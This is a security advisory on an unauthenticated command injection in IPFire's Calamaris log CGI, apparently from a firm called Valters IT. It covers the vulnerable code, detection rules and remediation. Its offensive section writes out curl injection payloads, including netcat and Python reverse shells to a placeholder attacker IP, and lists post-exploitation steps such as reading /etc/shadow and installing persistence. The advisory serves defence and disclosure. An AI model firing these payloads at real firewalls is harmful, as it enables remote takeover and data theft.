CVE-2025-50974

Executive Summary

CVE-2025-50974 is a critical unauthenticated OS command injection vulnerability in IPFire 2.29, specifically within the Calamaris log exporter CGI endpoint (/cgi-bin/logs.cgi/calamaris.dat). The vulnerability arises from improper sanitization of user-supplied input before incorporating parameter values into a shell command. An unauthenticated remote attacker can inject arbitrary OS commands by embedding shell metacharacters in any of the following parameters: BYTE_UNIT, DAY_BEGIN, DAY_END, HIST_LEVEL, MONTH_BEGIN, MONTH_END, NUM_CONTENT, NUM_DOMAINS, NUM_HOSTS, NUM_URLS, PERF_INTERVAL, YEAR_BEGIN, YEAR_END. This allows for full remote code execution (RCE) with the privileges of the web server (typically nobody or www-data), leading to complete compromise of the IPFire appliance. The vulnerability is currently unpatched, and a proof-of-concept (PoC) exploit is publicly available.

Supply Chain & Package Security

IPFire is an open-source firewall distribution. The vulnerable component, Calamaris, is a third-party log analysis tool bundled with IPFire. The supply chain risk is moderate, as the vulnerability exists in a packaged component that is not frequently updated. Users must rely on IPFire maintainers to release a patched version or apply manual mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to the filesystem is possible.
• Integrity (I): High – Full write access to the filesystem is possible.
• Availability (A): High – Full control over system processes, including denial of service.

Threat Level: Critical. The combination of unauthenticated remote access, low complexity, and high impact makes this a top-priority vulnerability for any organization using IPFire.

Deep Dive & Mechanics

The vulnerability resides in the CGI script /cgi-bin/logs.cgi/calamaris.dat. This script is part of the Calamaris log exporter, which generates reports from proxy logs. The script accepts multiple parameters to customize the report output (e.g., date ranges, units, thresholds). These parameters are passed directly into a shell command without proper sanitization or escaping.

The core issue is that the script constructs a command string by concatenating user-supplied parameter values. For example, a parameter like YEAR_BEGIN might be used in a command like:

/usr/bin/calamaris -y $YEAR_BEGIN ...

If an attacker provides a value such as 2025;id, the shell interprets the semicolon as a command separator, executing the id command after the intended Calamaris command. The same applies to other shell metacharacters like backticks, $(), |, &&, etc.

The vulnerable parameters are:

• BYTE_UNIT
• DAY_BEGIN
• DAY_END
• HIST_LEVEL
• MONTH_BEGIN
• MONTH_END
• NUM_CONTENT
• NUM_DOMAINS
• NUM_HOSTS
• NUM_URLS
• PERF_INTERVAL
• YEAR_BEGIN
• YEAR_END

The script does not use any input validation or escaping functions (e.g., escapeshellarg() in PHP, or proper quoting in shell scripts). This allows an attacker to inject arbitrary OS commands.

Vulnerable vs. Patched Code

Vulnerable Code (IPFire 2.29):

The vulnerable script is likely a Perl or shell CGI. A representative vulnerable snippet (conceptual) would be:

my $year_begin = param('YEAR_BEGIN');
my $cmd = "/usr/bin/calamaris -y $year_begin ...";
system($cmd);

Patched Code (Hypothetical):

A patched version would sanitize input by escaping shell metacharacters or using parameterized execution:

my $year_begin = param('YEAR_BEGIN');
# Validate input: only allow digits and hyphens
if ($year_begin =~ /^[0-9\-]+$/) {
    my $cmd = "/usr/bin/calamaris -y $year_begin ...";
    system($cmd);
} else {
    die "Invalid input";
}

Or, using system with a list to avoid shell interpretation:

my $year_begin = param('YEAR_BEGIN');
system('/usr/bin/calamaris', '-y', $year_begin, ...);

As of this report, no official patch has been released.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy IPFire 2.29 in a virtual machine (e.g., using VirtualBox or VMware).
2. Ensure the web interface (port 444) is accessible from the attacker machine.
3. The attacker machine can be any Linux distribution with curl or a web browser.

Exploitation Steps:

1. Verify Vulnerability: Send a request to the vulnerable endpoint with a command injection payload in one of the parameters. For example, to execute the id command:

   curl -k "https://<IPFIRE_IP>:444/cgi-bin/logs.cgi/calamaris.dat?YEAR_BEGIN=2025;id"
   

   If the response contains the output of the id command (e.g., uid=99(nobody) gid=99(nobody)), the vulnerability is confirmed.

2. Execute Arbitrary Commands: Use a reverse shell payload. For example, using netcat:

   curl -k "https://<IPFIRE_IP>:444/cgi-bin/logs.cgi/calamaris.dat?YEAR_BEGIN=2025;nc%20<ATTACKER_IP>%204444%20-e%20/bin/bash"
   

   Or, using a Python one-liner:

   curl -k "https://<IPFIRE_IP>:444/cgi-bin/logs.cgi/calamaris.dat?YEAR_BEGIN=2025;python3%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<ATTACKER_IP>\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
   

3. Post-Exploitation:

   • Escalate privileges (e.g., via kernel exploits or misconfigurations).
   • Extract sensitive data (e.g., /etc/shadow, configuration files).
   • Install persistence (e.g., cron job, SSH backdoor).

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /cgi-bin/logs.cgi/calamaris.dat containing shell metacharacters (;, |, &, $, `).
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• If possible, disable the Calamaris CGI endpoint by removing or renaming the script.
• Implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the vulnerable parameters.
• Restrict access to the CGI endpoint via IP whitelisting or VPN.
• Monitor for outbound connections from the IPFire appliance to unknown IPs (indicative of reverse shell).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /cgi-bin/logs.cgi/calamaris.dat with parameters containing shell metacharacters.
  • Outbound connections from the IPFire appliance to unusual IPs/ports (e.g., 4444/tcp).
  • DNS queries to domains associated with C2 infrastructure.

• File System IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ (e.g., reverse shell scripts).
  • Modified system binaries (e.g., /bin/bash replaced with a backdoored version).
  • New cron jobs in /etc/cron.d/ or /var/spool/cron/.

• Process IOCs:

  • Unusual processes running as nobody or www-data (e.g., nc, python, bash).
  • Processes initiating outbound network connections.

Detection Engineering

YARA Rule

rule CVE_2025_50974_IPFire_Calamaris_Command_Injection {
    meta:
        description = "Detects command injection attempts against IPFire Calamaris CGI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50974"
        severity = "critical"
    strings:
        $param1 = "BYTE_UNIT="
        $param2 = "DAY_BEGIN="
        $param3 = "DAY_END="
        $param4 = "HIST_LEVEL="
        $param5 = "MONTH_BEGIN="
        $param6 = "MONTH_END="
        $param7 = "NUM_CONTENT="
        $param8 = "NUM_DOMAINS="
        $param9 = "NUM_HOSTS="
        $param10 = "NUM_URLS="
        $param11 = "PERF_INTERVAL="
        $param12 = "YEAR_BEGIN="
        $param13 = "YEAR_END="
        $metachar = /[;&|`$()]/
    condition:
        any of ($param*) and $metachar
}

Sigma Rule

title: IPFire Calamaris Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the Calamaris CGI endpoint with shell metacharacters in parameters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-50974
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-path: "/cgi-bin/logs.cgi/calamaris.dat"
        cs-uri-query|contains:
            - "BYTE_UNIT="
            - "DAY_BEGIN="
            - "DAY_END="
            - "HIST_LEVEL="
            - "MONTH_BEGIN="
            - "MONTH_END="
            - "NUM_CONTENT="
            - "NUM_DOMAINS="
            - "NUM_HOSTS="
            - "NUM_URLS="
            - "PERF_INTERVAL="
            - "YEAR_BEGIN="
            - "YEAR_END="
    filter:
        cs-uri-query|re:
            - ".*[;&|`$()].*"
    condition: selection and filter
falsepositives:
    - Legitimate use of semicolons in date ranges (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2025-50974 IPFire Calamaris Command Injection Attempt";
    flow:to_server,established;
    content:"/cgi-bin/logs.cgi/calamaris.dat"; http_uri;
    pcre:"/(BYTE_UNIT|DAY_BEGIN|DAY_END|HIST_LEVEL|MONTH_BEGIN|MONTH_END|NUM_CONTENT|NUM_DOMAINS|NUM_HOSTS|NUM_URLS|PERF_INTERVAL|YEAR_BEGIN|YEAR_END)=.*[;&|`$()]/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Calamaris CGI: Remove or rename the script /cgi-bin/logs.cgi/calamaris.dat to prevent exploitation.
2. Apply Input Validation: If you have access to the source code, implement strict input validation (e.g., allow only alphanumeric characters and hyphens for date parameters).
3. Use a WAF: Deploy a Web Application Firewall with rules to block requests containing shell metacharacters in the vulnerable parameters.
4. Restrict Access: Limit access to the CGI endpoint to trusted IP addresses only (e.g., via .htaccess or firewall rules).

Long-Term Fix:

• Await an official patch from IPFire maintainers. Monitor the IPFire mailing list and GitHub repository for updates.
• Consider migrating to a different firewall distribution if IPFire does not provide a timely patch.

Workaround:

• If the Calamaris functionality is not critical, disable the entire logs.cgi script by removing it or replacing it with a stub that returns a 404 error.

Valters IT